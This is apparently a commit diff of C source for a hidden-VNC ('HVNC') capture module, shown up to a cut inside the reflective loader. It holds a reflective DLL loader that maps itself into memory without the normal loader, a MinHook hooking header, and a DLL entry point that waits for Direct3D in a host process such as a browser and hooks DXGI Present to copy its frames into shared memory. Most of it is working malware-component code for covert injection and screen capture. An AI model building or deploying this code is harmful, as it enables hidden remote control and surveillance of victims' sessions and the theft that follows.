#define _DXGI_CAPTURE_H
#include <windows.h>
#ifdef __cplusplus
extern "C" {
#endif
// Initialize DXGI Present hook. Call from DllMain(DLL_PROCESS_ATTACH).
void InstallDXGICapture(void);
// Remove hook and clean up shared memory. Call from DllMain(DLL_PROCESS_DETACH).
void RemoveDXGICapture(void);
#ifdef __cplusplus
}
#endif
// Shared memory header — must match Go-side definition exactly.
#pragma pack(push, 1)
typedef struct {
UINT32 magic; // 'HVNC' = 0x434E5648
UINT32 version; // 1
UINT32 width;
UINT32 height;
UINT32 stride; // bytes per row (width * 4, may be padded)
UINT32 format; // DXGI_FORMAT value (87 = B8G8R8A8_UNORM)
UINT64 frameSeq; // monotonically increasing frame counter
UINT64 timestampNs; // QueryPerformanceCounter-based nanoseconds
UINT32 pid; // process ID that produced this frame
UINT32 reserved; // alignment padding
} HVNCFrameHeader;
#pragma pack(pop)
#define HVNC_FRAME_MAGIC 0x434E5648 // 'HVNC'
#define HVNC_FRAME_VERSION 1
// Maximum frame dimensions we support (prevents runaway allocation)
#define HVNC_MAX_WIDTH 7680
#define HVNC_MAX_HEIGHT 4320
// Shared memory name format — {pid} is the decimal process ID
// e.g. "Local\hvnc_frame_12345"
#define HVNC_SHM_PREFIX "Local\\hvnc_frame_"
#define HVNC_EVENT_PREFIX "Local\\hvnc_evt_"
#endif // _DXGI_CAPTURE_H
+185
View File
@@ -0,0 +1,185 @@
/*
* MinHook - The Minimalistic API Hooking Library for x64/x86
* Copyright (C) 2009-2017 Tsuda Kageyu.
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
*
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
*
* THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS
* "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED
* TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A
* PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER
* OR CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR
* PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF
* LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING
* NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS
* SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#pragma once
#if !(defined _M_IX86) && !(defined _M_X64) && !(defined __i386__) && !(defined __x86_64__)
#error MinHook supports only x86 and x64 systems.
#endif
#include <windows.h>
// MinHook Error Codes.
typedef enum MH_STATUS
{
// Unknown error. Should not be returned.
MH_UNKNOWN = -1,
// Successful.
MH_OK = 0,
// MinHook is already initialized.
MH_ERROR_ALREADY_INITIALIZED,
// MinHook is not initialized yet, or already uninitialized.
MH_ERROR_NOT_INITIALIZED,
// The hook for the specified target function is already created.
MH_ERROR_ALREADY_CREATED,
// The hook for the specified target function is not created yet.
MH_ERROR_NOT_CREATED,
// The hook for the specified target function is already enabled.
MH_ERROR_ENABLED,
// The hook for the specified target function is not enabled yet, or already
// disabled.
MH_ERROR_DISABLED,
// The specified pointer is invalid. It points the address of non-allocated
// and/or non-executable region.
MH_ERROR_NOT_EXECUTABLE,
// The specified target function cannot be hooked.
MH_ERROR_UNSUPPORTED_FUNCTION,
// Failed to allocate memory.
MH_ERROR_MEMORY_ALLOC,
// Failed to change the memory protection.
MH_ERROR_MEMORY_PROTECT,
// The specified module is not loaded.
MH_ERROR_MODULE_NOT_FOUND,
// The specified function is not found.
MH_ERROR_FUNCTION_NOT_FOUND
}
MH_STATUS;
// Can be passed as a parameter to MH_EnableHook, MH_DisableHook,
// MH_QueueEnableHook or MH_QueueDisableHook.
#define MH_ALL_HOOKS NULL
#ifdef __cplusplus
extern "C" {
#endif
// Initialize the MinHook library. You must call this function EXACTLY ONCE
// at the beginning of your program.
MH_STATUS WINAPI MH_Initialize(VOID);
// Uninitialize the MinHook library. You must call this function EXACTLY
// ONCE at the end of your program.
MH_STATUS WINAPI MH_Uninitialize(VOID);
// Creates a Hook for the specified target function, in disabled state.
// Parameters:
// pTarget [in] A pointer to the target function, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHook(LPVOID pTarget, LPVOID pDetour, LPVOID* ppOriginal);
// Creates a Hook for the specified API function, in disabled state.
// Parameters:
// pszModule [in] A pointer to the loaded module name which contains the
// target function.
// pszTarget [in] A pointer to the target function name, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHookApi(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal);
// Creates a Hook for the specified API function, in disabled state.
// Parameters:
// pszModule [in] A pointer to the loaded module name which contains the
// target function.
// pszTarget [in] A pointer to the target function name, which will be
// overridden by the detour function.
// pDetour [in] A pointer to the detour function, which will override
// the target function.
// ppOriginal [out] A pointer to the trampoline function, which will be
// used to call the original target function.
// This parameter can be NULL.
// ppTarget [out] A pointer to the target function, which will be used
// with other functions.
// This parameter can be NULL.
MH_STATUS WINAPI MH_CreateHookApiEx(
LPCWSTR pszModule, LPCSTR pszProcName, LPVOID pDetour, LPVOID* ppOriginal, LPVOID* ppTarget);
// Removes an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
MH_STATUS WINAPI MH_RemoveHook(LPVOID pTarget);
// Enables an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// enabled in one go.
MH_STATUS WINAPI MH_EnableHook(LPVOID pTarget);
// Disables an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// disabled in one go.
MH_STATUS WINAPI MH_DisableHook(LPVOID pTarget);
// Queues to enable an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// queued to be enabled.
MH_STATUS WINAPI MH_QueueEnableHook(LPVOID pTarget);
// Queues to disable an already created hook.
// Parameters:
// pTarget [in] A pointer to the target function.
// If this parameter is MH_ALL_HOOKS, all created hooks are
// queued to be disabled.
MH_STATUS WINAPI MH_QueueDisableHook(LPVOID pTarget);
// Applies all queued changes in one go.
MH_STATUS WINAPI MH_ApplyQueued(VOID);
// Translates the MH_STATUS to its name as a string.
const char* WINAPI MH_StatusToString(MH_STATUS status);
#ifdef __cplusplus
}
#endif
+51
View File
@@ -0,0 +1,51 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#ifndef _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
#define _REFLECTIVEDLLINJECTION_REFLECTIVEDLLINJECTION_H
//===============================================================================================//
#define WIN32_LEAN_AND_MEAN
#include <windows.h>
// we declare some common stuff in here...
#define DLL_QUERY_HMODULE 6
#define DEREF( name )*(UINT_PTR *)(name)
#define DEREF_64( name )*(DWORD64 *)(name)
#define DEREF_32( name )*(DWORD *)(name)
#define DEREF_16( name )*(WORD *)(name)
#define DEREF_8( name )*(BYTE *)(name)
typedef ULONG_PTR(WINAPI* REFLECTIVELOADER)(VOID);
typedef BOOL(WINAPI* DLLMAIN)(HINSTANCE, DWORD, LPVOID);
#define DLLEXPORT __declspec( dllexport )
//===============================================================================================//
#endif
//===============================================================================================//
+61
View File
@@ -0,0 +1,61 @@
//===============================================================================================//
// HVNCCapture — ReflectiveDll.c
//
// Entry point for the reflective DLL. Called by ReflectiveLoader after the DLL
// is mapped into memory. Defers DXGI hook installation to a worker thread
// because DllMain runs under the loader lock and cannot safely call
// LoadLibrary / D3D11CreateDeviceAndSwapChain.
//===============================================================================================//
#include "ReflectiveLoader.h"
#include "DXGICapture.h"
extern HINSTANCE hAppInstance;
static HANDLE g_InitThread = NULL;
// Worker thread: waits for d3d11.dll to appear, then installs hooks.
static DWORD WINAPI DeferredInit(LPVOID param)
{
(void)param;
// Poll for d3d11.dll up to 60 seconds (browser may take a while)
for (int i = 0; i < 600; i++) {
if (GetModuleHandleA("d3d11.dll") != NULL)
break;
Sleep(100);
}
if (GetModuleHandleA("d3d11.dll") == NULL) {
// Process never loaded D3D11 — nothing to hook
return 0;
}
// Brief delay for swapchain creation
Sleep(500);
InstallDXGICapture();
return 0;
}
BOOL WINAPI DllMain(HINSTANCE hinstDLL, DWORD dwReason, LPVOID lpReserved)
{
BOOL bReturnValue = TRUE;
switch (dwReason)
{
case DLL_PROCESS_ATTACH:
hAppInstance = hinstDLL;
DisableThreadLibraryCalls(hinstDLL);
g_InitThread = CreateThread(NULL, 0, DeferredInit, NULL, 0, NULL);
break;
case DLL_PROCESS_DETACH:
if (g_InitThread) {
WaitForSingleObject(g_InitThread, 5000);
CloseHandle(g_InitThread);
g_InitThread = NULL;
}
RemoveDXGICapture();
break;
case DLL_THREAD_ATTACH:
case DLL_THREAD_DETACH:
break;
}
return bReturnValue;
}
+516
View File
@@ -0,0 +1,516 @@
//===============================================================================================//
// Copyright (c) 2012, Stephen Fewer of Harmony Security (www.harmonysecurity.com)
// All rights reserved.
//
// Redistribution and use in source and binary forms, with or without modification, are permitted
// provided that the following conditions are met:
//
// * Redistributions of source code must retain the above copyright notice, this list of
// conditions and the following disclaimer.
//
// * Redistributions in binary form must reproduce the above copyright notice, this list of
// conditions and the following disclaimer in the documentation and/or other materials provided
// with the distribution.
//
// * Neither the name of Harmony Security nor the names of its contributors may be used to
// endorse or promote products derived from this software without specific prior written permission.
//
// THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND ANY EXPRESS OR
// IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY AND
// FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT OWNER OR
// CONTRIBUTORS BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR
// CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR
// SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY
// THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
// OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE
// POSSIBILITY OF SUCH DAMAGE.
//===============================================================================================//
#include "ReflectiveLoader.h"
//===============================================================================================//
// Our loader will set this to a pseudo correct HINSTANCE/HMODULE value
HINSTANCE hAppInstance = NULL;
// Store the parameter passed to ReflectiveLoader so DllMain can access it
LPVOID g_lpReflectiveParameter = NULL;
//===============================================================================================//
#ifdef _MSC_VER
#pragma intrinsic(_ReturnAddress)
#define RDI_NOINLINE __declspec(noinline)
#else
#define RDI_NOINLINE __attribute__((noinline))
#endif
// This function can not be inlined by the compiler or we will not get the address we expect. Ideally
// this code will be compiled with the /O2 and /Ob1 switches. Bonus points if we could take advantage of
// RIP relative addressing in this instance but I dont believe we can do so with the compiler intrinsics
// available (and no inline asm available under x64).
RDI_NOINLINE ULONG_PTR caller(VOID)
{
#ifdef _MSC_VER
return (ULONG_PTR)_ReturnAddress();
#elif defined(__GNUC__) || defined(__clang__)
// For MinGW/Clang, use GCC builtins and extract helper for target-specific safety.
return (ULONG_PTR)__builtin_extract_return_addr(__builtin_return_address(0));
#else
return 0;
#endif
}
//===============================================================================================//
// Note 1: If you want to have your own DllMain, define REFLECTIVEDLLINJECTION_CUSTOM_DLLMAIN,
// otherwise the DllMain at the end of this file will be used.
// Note 2: If you are injecting the DLL via LoadRemoteLibraryR, define REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR,
// otherwise it is assumed you are calling the ReflectiveLoader via a stub.
// This is our position independent reflective DLL loader/injector
#ifdef REFLECTIVEDLLINJECTION_VIA_LOADREMOTELIBRARYR
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(LPVOID lpParameter)
#else
DLLEXPORT ULONG_PTR WINAPI ReflectiveLoader(VOID)
#endif
{
// the functions we need
LOADLIBRARYA pLoadLibraryA = NULL;
GETPROCADDRESS pGetProcAddress = NULL;
VIRTUALALLOC pVirtualAlloc = NULL;
NTFLUSHINSTRUCTIONCACHE pNtFlushInstructionCache = NULL;
USHORT usCounter;
// the initial location of this image in memory
ULONG_PTR uiLibraryAddress;
// the kernels base address and later this images newly loaded base address
ULONG_PTR uiBaseAddress;
// variables for processing the kernels export table
ULONG_PTR uiAddressArray;
ULONG_PTR uiNameArray;
ULONG_PTR uiExportDir;
ULONG_PTR uiNameOrdinals;
DWORD dwHashValue;
// variables for loading this image
ULONG_PTR uiHeaderValue;
ULONG_PTR uiValueA;
ULONG_PTR uiValueB;
ULONG_PTR uiValueC;
ULONG_PTR uiValueD;
ULONG_PTR uiValueE;
// STEP 0: calculate our images current base address
// we will start searching backwards from our callers return address.
uiLibraryAddress = caller();
// loop through memory backwards searching for our images base address
// we dont need SEH style search as we shouldnt generate any access violations with this
while (TRUE)
{
if (((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_magic == IMAGE_DOS_SIGNATURE)
{
uiHeaderValue = ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// some x64 dll's can trigger a bogus signature (IMAGE_DOS_SIGNATURE == 'POP r10'),
// we sanity check the e_lfanew with an upper threshold value of 1024 to avoid problems.
if (uiHeaderValue >= sizeof(IMAGE_DOS_HEADER) && uiHeaderValue < 1024)
{
uiHeaderValue += uiLibraryAddress;
// break if we have found a valid MZ/PE header
if (((PIMAGE_NT_HEADERS)uiHeaderValue)->Signature == IMAGE_NT_SIGNATURE)
break;
}
}
uiLibraryAddress--;
}
// STEP 1: process the kernels exports for the functions our loader needs...
// get the Process Enviroment Block
#ifdef WIN_X64
uiBaseAddress = __readgsqword(0x60);
#else
#ifdef WIN_X86
uiBaseAddress = __readfsdword(0x30);
#else WIN_ARM
uiBaseAddress = *(DWORD*)((BYTE*)_MoveFromCoprocessor(15, 0, 13, 0, 2) + 0x30);
#endif
#endif
// get the processes loaded modules. ref: http://msdn.microsoft.com/en-us/library/aa813708(VS.85).aspx
uiBaseAddress = (ULONG_PTR)((_PPEB)uiBaseAddress)->pLdr;
// get the first entry of the InMemoryOrder module list
uiValueA = (ULONG_PTR)((PPEB_LDR_DATA)uiBaseAddress)->InMemoryOrderModuleList.Flink;
while (uiValueA)
{
// get pointer to current modules name (unicode string)
uiValueB = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.pBuffer;
// set bCounter to the length for the loop
usCounter = ((PLDR_DATA_TABLE_ENTRY)uiValueA)->BaseDllName.Length;
// clear uiValueC which will store the hash of the module name
uiValueC = 0;
// compute the hash of the module name...
do
{
uiValueC = ror((DWORD)uiValueC);
// normalize to uppercase if the madule name is in lowercase
if (*((BYTE*)uiValueB) >= 'a')
uiValueC += *((BYTE*)uiValueB) - 0x20;
else
uiValueC += *((BYTE*)uiValueB);
uiValueB++;
} while (--usCounter);
// compare the hash with that of kernel32.dll
if ((DWORD)uiValueC == KERNEL32DLL_HASH)
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of name pointers
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
usCounter = 3;
// loop while we still have imports to find
while (usCounter > 0)
{
// compute the hash values for this function name
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
// if we have found a function we want we get its virtual address
if (dwHashValue == LOADLIBRARYA_HASH || dwHashValue == GETPROCADDRESS_HASH || dwHashValue == VIRTUALALLOC_HASH)
{
// get the VA for the array of addresses
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// store this functions VA
if (dwHashValue == LOADLIBRARYA_HASH)
pLoadLibraryA = (LOADLIBRARYA)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == GETPROCADDRESS_HASH)
pGetProcAddress = (GETPROCADDRESS)(uiBaseAddress + DEREF_32(uiAddressArray));
else if (dwHashValue == VIRTUALALLOC_HASH)
pVirtualAlloc = (VIRTUALALLOC)(uiBaseAddress + DEREF_32(uiAddressArray));
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
else if ((DWORD)uiValueC == NTDLLDLL_HASH)
{
// get this modules base address
uiBaseAddress = (ULONG_PTR)((PLDR_DATA_TABLE_ENTRY)uiValueA)->DllBase;
// get the VA of the modules NT Header
uiExportDir = uiBaseAddress + ((PIMAGE_DOS_HEADER)uiBaseAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of name pointers
uiNameArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNames);
// get the VA for the array of name ordinals
uiNameOrdinals = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfNameOrdinals);
usCounter = 1;
// loop while we still have imports to find
while (usCounter > 0)
{
// compute the hash values for this function name
dwHashValue = hash((char*)(uiBaseAddress + DEREF_32(uiNameArray)));
// if we have found a function we want we get its virtual address
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
{
// get the VA for the array of addresses
uiAddressArray = (uiBaseAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use this functions name ordinal as an index into the array of name pointers
uiAddressArray += (DEREF_16(uiNameOrdinals) * sizeof(DWORD));
// store this functions VA
if (dwHashValue == NTFLUSHINSTRUCTIONCACHE_HASH)
pNtFlushInstructionCache = (NTFLUSHINSTRUCTIONCACHE)(uiBaseAddress + DEREF_32(uiAddressArray));
// decrement our counter
usCounter--;
}
// get the next exported function name
uiNameArray += sizeof(DWORD);
// get the next exported function name ordinal
uiNameOrdinals += sizeof(WORD);
}
}
// we stop searching when we have found everything we need.
if (pLoadLibraryA && pGetProcAddress && pVirtualAlloc && pNtFlushInstructionCache)
break;
// get the next entry
uiValueA = DEREF(uiValueA);
}
// STEP 2: load our image into a new permanent location in memory...
// get the VA of the NT Header for the PE to be loaded
uiHeaderValue = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// allocate all the memory for the DLL to be loaded into. we can load at any address because we will
// relocate the image. Also zeros all memory and marks it as READ, WRITE and EXECUTE to avoid any problems.
uiBaseAddress = (ULONG_PTR)pVirtualAlloc(NULL, ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfImage, MEM_RESERVE | MEM_COMMIT, PAGE_EXECUTE_READWRITE);
// we must now copy over the headers
uiValueA = ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.SizeOfHeaders;
uiValueB = uiLibraryAddress;
uiValueC = uiBaseAddress;
while (uiValueA--)
*(BYTE*)uiValueC++ = *(BYTE*)uiValueB++;
// STEP 3: load in all of our sections...
// uiValueA = the VA of the first section
uiValueA = ((ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader + ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.SizeOfOptionalHeader);
// itterate through all sections, loading them into memory.
uiValueE = ((PIMAGE_NT_HEADERS)uiHeaderValue)->FileHeader.NumberOfSections;
while (uiValueE--)
{
// uiValueB is the VA for this section
uiValueB = (uiBaseAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->VirtualAddress);
// uiValueC if the VA for this sections data
uiValueC = (uiLibraryAddress + ((PIMAGE_SECTION_HEADER)uiValueA)->PointerToRawData);
// copy the section over
uiValueD = ((PIMAGE_SECTION_HEADER)uiValueA)->SizeOfRawData;
while (uiValueD--)
*(BYTE*)uiValueB++ = *(BYTE*)uiValueC++;
// get the VA of the next section
uiValueA += sizeof(IMAGE_SECTION_HEADER);
}
// STEP 4: process our images import table...
// uiValueB = the address of the import directory
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT];
// we assume their is an import table to process
// uiValueC is the first entry in the import table
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
// itterate through all imports
while (((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name)
{
// use LoadLibraryA to load the imported module into memory
uiLibraryAddress = (ULONG_PTR)pLoadLibraryA((LPCSTR)(uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->Name));
// uiValueD = VA of the OriginalFirstThunk
uiValueD = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->OriginalFirstThunk);
// uiValueA = VA of the IAT (via first thunk not origionalfirstthunk)
uiValueA = (uiBaseAddress + ((PIMAGE_IMPORT_DESCRIPTOR)uiValueC)->FirstThunk);
// itterate through all imported functions, importing by ordinal if no name present
while (DEREF(uiValueA))
{
// sanity check uiValueD as some compilers only import by FirstThunk
if (uiValueD && ((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal & IMAGE_ORDINAL_FLAG)
{
// get the VA of the modules NT Header
uiExportDir = uiLibraryAddress + ((PIMAGE_DOS_HEADER)uiLibraryAddress)->e_lfanew;
// uiNameArray = the address of the modules export directory entry
uiNameArray = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiExportDir)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
// get the VA of the export directory
uiExportDir = (uiLibraryAddress + ((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress);
// get the VA for the array of addresses
uiAddressArray = (uiLibraryAddress + ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->AddressOfFunctions);
// use the import ordinal (- export ordinal base) as an index into the array of addresses
uiAddressArray += ((IMAGE_ORDINAL(((PIMAGE_THUNK_DATA)uiValueD)->u1.Ordinal) - ((PIMAGE_EXPORT_DIRECTORY)uiExportDir)->Base) * sizeof(DWORD));
// patch in the address for this imported function
DEREF(uiValueA) = (uiLibraryAddress + DEREF_32(uiAddressArray));
}
else
{
// get the VA of this functions import by name struct
uiValueB = (uiBaseAddress + DEREF(uiValueA));
// use GetProcAddress and patch in the address for this imported function
DEREF(uiValueA) = (ULONG_PTR)pGetProcAddress((HMODULE)uiLibraryAddress, (LPCSTR)((PIMAGE_IMPORT_BY_NAME)uiValueB)->Name);
}
// get the next imported function
uiValueA += sizeof(ULONG_PTR);
if (uiValueD)
uiValueD += sizeof(ULONG_PTR);
}
// get the next import
uiValueC += sizeof(IMAGE_IMPORT_DESCRIPTOR);
}
// STEP 5: process all of our images relocations...
// calculate the base address delta and perform relocations (even if we load at desired image base)
uiLibraryAddress = uiBaseAddress - ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.ImageBase;
// uiValueB = the address of the relocation directory
uiValueB = (ULONG_PTR) & ((PIMAGE_NT_HEADERS)uiHeaderValue)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC];
// check if their are any relocations present
if (((PIMAGE_DATA_DIRECTORY)uiValueB)->Size)
{
// uiValueC is now the first entry (IMAGE_BASE_RELOCATION)
uiValueC = (uiBaseAddress + ((PIMAGE_DATA_DIRECTORY)uiValueB)->VirtualAddress);
// and we itterate through all entries...
while (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock)
{
// uiValueA = the VA for this relocation block
uiValueA = (uiBaseAddress + ((PIMAGE_BASE_RELOCATION)uiValueC)->VirtualAddress);
// uiValueB = number of entries in this relocation block
uiValueB = (((PIMAGE_BASE_RELOCATION)uiValueC)->SizeOfBlock - sizeof(IMAGE_BASE_RELOCATION)) / sizeof(IMAGE_RELOC);
// uiValueD is now the first entry in the current relocation block
uiValueD = uiValueC + sizeof(IMAGE_BASE_RELOCATION);
// we itterate through all the entries in the current block...
while (uiValueB--)
{
// perform the relocation, skipping IMAGE_REL_BASED_ABSOLUTE as required.
// we dont use a switch statement to avoid the compiler building a jump table
// which would not be very position independent!
if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_DIR64)
*(ULONG_PTR*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += uiLibraryAddress;
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_HIGHLOW)
*(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset) += (DWORD)uiLibraryAddress;
#ifdef WIN_ARM
// Note: On ARM, the compiler optimization /O2 seems to introduce an off by one issue, possibly a code gen bug. Using /O1 instead avoids this problem.
else if (((PIMAGE_RELOC)uiValueD)->type == IMAGE_REL_BASED_ARM_MOV32T)
{
register DWORD dwInstruction;
register DWORD dwAddress;
register WORD wImm;
// get the MOV.T instructions DWORD value (We add 4 to the offset to go past the first MOV.W which handles the low word)
dwInstruction = *(DWORD*)(uiValueA + ((PIMAGE_RELOC)uiValueD)->offset + sizeof(DWORD));
// flip the words to get the instruction as expected
dwInstruction = MAKELONG(HIWORD(dwInstruction), LOWORD(dwInstruction));
// sanity chack we are processing a MOV instruction...
if ((dwInstruction & ARM_MOV_MASK) == ARM_MOVT)
{
// pull out the encoded 16bit value (the high portion of the address-to-relocate)
wImm = (WORD)(dwInstruction & 0x000000FF);
wImm |= (WORD)((dwInstruction & 0x00007000) >> 4);
wImm |= (WORD)((dwInstruction & 0x04000000) >> 15);
wImm |= (WORD)((dwInstruction & 0x000F0000) >> 4);
// apply the relocation to the target address
dwAddress = ((WORD)HIWORD(uiLibraryAddress) + wImm) & 0xFFFF;
// now create a new instruction with the same opcode and register param.
dwInstruction = (DWORD)(dwInstruction & ARM_MOV_MASK2);
// patch in the relocated address...
dwInstruction |= (DWORD)(dwAddress & 0x00FF);
dwInstruction |= (DWORD)(dwAddress & 0x0700) << 4;
dwInstruction |= (DWORD)(dwAddress & 0x0800) << 15;
dwInstruction |= (DWORD)(dwAddress & 0xF000) << 4;
